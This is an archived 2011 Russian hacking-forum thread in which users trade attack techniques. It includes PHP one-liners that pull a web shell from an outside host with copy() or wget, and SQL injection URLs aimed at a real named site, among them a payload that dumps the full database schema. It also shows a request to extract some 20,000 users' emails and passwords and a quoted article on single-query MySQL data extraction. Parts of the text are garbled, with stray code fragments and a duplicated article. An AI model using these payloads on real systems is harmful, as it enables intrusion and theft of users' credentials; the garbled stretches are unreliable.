ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

27.05.2011, 23:05
|
|
Познающий
Регистрация: 18.10.2009
Сообщений: 80
Провел на форуме: 1180165
Репутация:
11
|
|
есть возможность выполнить пхп код, но в коде не должно быть ' ` " , есть ли возможность залить шелл?
Сообщение от Konqi
Konqi said:
copy($_GET[a],$
_
GET
);&a=http://site.com/shell.php&b=shell.php
спасибо
|
|
|

27.05.2011, 23:07
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме: 2101094
Репутация:
672
|
|
Сообщение от wkar
wkar said:
есть возможность выполнить пхп код, но в коде не должно быть ' ` " , есть ли возможность залить шелл?
copy($_GET[a],$GET );&a=http://site.com/shell.php&b=shell.php
system($_GET[a]);&a=wget http://site.com/shell.php
ну и так далее
|
|
|

28.05.2011, 00:11
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме: 111014
Репутация:
8
|
|
Не выводится через ошибку
http://lenta.bkr.ru/out.php?id=40726+or+1+group+by+concat(version(),fl oor%20(rand(0)*2))having+min(0)+or+1+--+
|
|
|

28.05.2011, 01:26
|
|
Guest
Сообщений: n/a
Провел на форуме: 262707
Репутация:
935
|
|
А где ты там mysql ошибку увидел? Там только ошибка php
|
|
|
|

28.05.2011, 01:30
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме: 111014
Репутация:
8
|
|
Сообщение от Expl0ited
Expl0ited said:
А где ты там mysql ошибку увидел? Там только ошибка php
Если еще так попробовать обойти фильтрацию
http://lenta.bkr.ru/out.php?id=-40726+union+select+1,2,3,4,5,6,7,8,89,10,11,12,13+--+
|
|
|

28.05.2011, 01:36
|
|
Guest
Сообщений: n/a
Провел на форуме: 262707
Репутация:
935
|
|
Почитай уже основы скуль инъекций!
Код:
Code:
http://lenta.bkr.ru/out.php?id=(40726)and(1=0)%75nion(%73elect(1),2,(%73elect(@x)from(%73elect(@x:=0x00),(%73elect(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),4,5,6,7,8,9,10,11,12,(13))--+
Постоянно задаешь однотипные вопросы!
|
|
|
|

29.05.2011, 15:03
|
|
Guest
Сообщений: n/a
Провел на форуме: 15203
Репутация:
5
|
|
Кто в курсе, возможно ли такое:
Есть скл, там примерно 20к юзеров, хотелось бы их всех достать с помощью benchmark`a, но если выводить все сразу серв возвращает ошибку, по 100 кое-как, дампить лимитом не вариант.
Допстим запрос:
1,concat(@i:=0x00,@o:=0x0d0a,benchmark(100,@o :=CONCAT(@o,0x0d0a,(SELECT concat(@i:=Email,0x3a,Password) from user WHERE Email>@i order by Email LIMIT 1))),@o),3,4 вернет 100, как слить следующие 100, запарился ждать ответ от элиты рус-хека, которые пытаются его продвигать!
|
|
|
|

29.05.2011, 16:57
|
|
Guest
Сообщений: n/a
Провел на форуме: 262707
Репутация:
935
|
|
Сообщение от None
Хочу рассказать вам о новой (может я что-то пропустил?) технике вывода данных при MySQL injection.
Дело в том, что очень неудобно когда при наличии уязвимости в результате мы можем получить всего одну строку за запрос.
Например чтоб получить структуру БД в 5 ветке MySQL, нам придется совершить столько запросов, сколько таблиц в этой самой БД. Ну а о получении имен колонок этих таблиц я уже помалкиваю.
Выходом может быть использование конструкции group_concat, но она имеет ограничение по возвращаемой длине заданное в group_concat_max_len (по умолчанию - 1024) и при огромном количестве таблиц, строка просто обрежется по этой длине.
Обойти это ограничение можно с помощью добавления условий, например table_name>{имя последней полученной таблицы}
Сообщение от None
select group_concat(table_name) from information_schema.tables
Сообщение от None
table
table_1
....
table_200
Сообщение от None
select group_concat(table_name) from information_schema.tables where table_name>'table_200'
Сообщение от None
table_201
...
table_400
Сообщение от None
select group_concat(table_name) from information_schema.tables where table_name>'table_400'
...
Еще можно использовать benchmark, типо того:
Сообщение от None
select concat(@a:=0, @b:=1, benchmark(100, if( (select count(password) from users where id=@a), @b:=concat( (select password from users where id=@a), 0x3a, @b, @a:=@a+1), @a:=@a+1) ) ), cast(@b as char) from users
Но при таком запросе, необходимо чтоб был уникальный числовой ключ.
Или можно ограничивать данные по логическим критериям, чтоб отбирать не все сразу. Но опять же - все делается не одним запросом.
Не буду Вас больше томить тем что Вы и так знаете и покажу о чем я говорю.
Я предлагаю без group_concat и benchmark вывести имена всех таблицы одним запросом.
Запрос строится на пользовательских переменных и условии
NOT IN
( но ручками мы туда вписывать ничего не будем ). Что-то типо цикла - только без явного цикла =)
Скажем для получения всех таблиц БД, запрос будет выглядеть таким образом:
Сообщение от None
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where table_name not in(
Сообщение от None
@pro:=concat(@pro,0x2c27,table_name,0x27) ) limit 0,1 ) )fexer
'','CHARACTER_SETS','COLLATIONS',...
" if author else f"
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where table_name not in(
Сообщение от None
@pro:=concat(@pro,0x2c27,table_name,0x27) ) limit 0,1 ) )fexer
'','CHARACTER_SETS','COLLATIONS',...
@pro
- наша пользовательская переменная
fexer
- требуемый алиас для таблицы
У нас получилась некая рекурсия или цикл (не уверен как именно оно обрабатывается), который склеил все строки в одну переменную, которую мы потом и получили.
При склейке данных ( concat ) запрос примет следующий вид:
Сообщение от None
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where concat(table_schema,0x2e,table_name) not in( @pro:=concat(@pro,0x2c27,table_schema,0x2e,table_n ame,0x27) ) limit 0,1 ) )fexer
Сообщение от None
'','information_schema.CHARACTER_SETS','informatio n_schema.COLLATIONS'...
Таким образом, мы можем получить все данные без предварительного запроса их общего количества, уникального численного ключа и ограничения в 1024 символа.
" if author else f"
Хочу рассказать вам о новой (может я что-то пропустил?) технике вывода данных при MySQL injection.
Дело в том, что очень неудобно когда при наличии уязвимости в результате мы можем получить всего одну строку за запрос.
Например чтоб получить структуру БД в 5 ветке MySQL, нам придется совершить столько запросов, сколько таблиц в этой самой БД. Ну а о получении имен колонок этих таблиц я уже помалкиваю.
Выходом может быть использование конструкции group_concat, но она имеет ограничение по возвращаемой длине заданное в group_concat_max_len (по умолчанию - 1024) и при огромном количестве таблиц, строка просто обрежется по этой длине.
Обойти это ограничение можно с помощью добавления условий, например table_name>{имя последней полученной таблицы}
Сообщение от None
select group_concat(table_name) from information_schema.tables
Сообщение от None
table
table_1
....
table_200
Сообщение от None
select group_concat(table_name) from information_schema.tables where table_name>'table_200'
Сообщение от None
table_201
...
table_400
Сообщение от None
select group_concat(table_name) from information_schema.tables where table_name>'table_400'
...
Еще можно использовать benchmark, типо того:
Сообщение от None
select concat(@a:=0, @b:=1, benchmark(100, if( (select count(password) from users where id=@a), @b:=concat( (select password from users where id=@a), 0x3a, @b, @a:=@a+1), @a:=@a+1) ) ), cast(@b as char) from users
Но при таком запросе, необходимо чтоб был уникальный числовой ключ.
Или можно ограничивать данные по логическим критериям, чтоб отбирать не все сразу. Но опять же - все делается не одним запросом.
Не буду Вас больше томить тем что Вы и так знаете и покажу о чем я говорю.
Я предлагаю без group_concat и benchmark вывести имена всех таблицы одним запросом.
Запрос строится на пользовательских переменных и условии
NOT IN
( но ручками мы туда вписывать ничего не будем ). Что-то типо цикла - только без явного цикла =)
Скажем для получения всех таблиц БД, запрос будет выглядеть таким образом:
Сообщение от None
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where table_name not in(
Сообщение от None
@pro:=concat(@pro,0x2c27,table_name,0x27) ) limit 0,1 ) )fexer
'','CHARACTER_SETS','COLLATIONS',...
" if author else f"
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where table_name not in(
Сообщение от None
@pro:=concat(@pro,0x2c27,table_name,0x27) ) limit 0,1 ) )fexer
'','CHARACTER_SETS','COLLATIONS',...
@pro
- наша пользовательская переменная
fexer
- требуемый алиас для таблицы
У нас получилась некая рекурсия или цикл (не уверен как именно оно обрабатывается), который склеил все строки в одну переменную, которую мы потом и получили.
При склейке данных ( concat ) запрос примет следующий вид:
Сообщение от None
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where concat(table_schema,0x2e,table_name) not in( @pro:=concat(@pro,0x2c27,table_schema,0x2e,table_n ame,0x27) ) limit 0,1 ) )fexer
Сообщение от None
'','information_schema.CHARACTER_SETS','informatio n_schema.COLLATIONS'...
Таким образом, мы можем получить все данные без предварительного запроса их общего количества, уникального численного ключа и ограничения в 1024 символа.
(c) profexer 2011
|
|
|
|

29.05.2011, 17:13
|
|
Guest
Сообщений: n/a
Провел на форуме: 15203
Репутация:
5
|
|
Спасибо статью уже видел, но не до конца понял, не получился такой запрос, там точно null нужен? Не силен в скл
select @pro from ( select @pro:=0x2727, (select null user where concat(Email,0x2e,Password) not in( @pro:=concat(@pro,0x2c27,Email,0x2e,Password,0x27) ) limit 0,1 ) )fexer
|
|
|
|

29.05.2011, 17:14
|
|
Guest
Сообщений: n/a
Провел на форуме: 262707
Репутация:
935
|
|
Кидай ссылку, посмотрим.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|